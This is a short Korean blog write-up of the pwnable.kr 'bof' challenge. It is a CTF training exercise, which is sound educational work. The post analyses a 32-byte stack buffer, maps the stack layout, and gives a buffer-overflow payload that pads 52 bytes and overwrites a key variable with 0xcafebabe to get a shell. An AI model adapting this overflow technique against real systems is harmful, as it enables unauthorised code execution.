write-up/pwnable

[pwnable.kr] bof

여니두 2019. 9. 28.

 

★ 문제 분석

overflowme 배열이 32byte 선언되어 있다.

key 값이 0xcafebabe여야 쉘을 딸 수 있다.

 

disas main
disas func

func+39> [ebp-0x28] = overflowme

0x28(hex) = 40(dex)

overflowme[32]
dummy[8]
SFP[4]
RET[4]
argc[4]
argv

 

 

★ 페이로드

"\x90"*52+"\xbe\xba\xfe\xca"

 

'write-up > pwnable' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.09.29
[pwnable.kr] passcode  (0) 2019.09.29
[pwnable.kr] collision  (0) 2019.09.26
[pwnable.kr] fd  (0) 2019.09.23
[LOB] LOB TIP  (0) 2019.09.15

댓글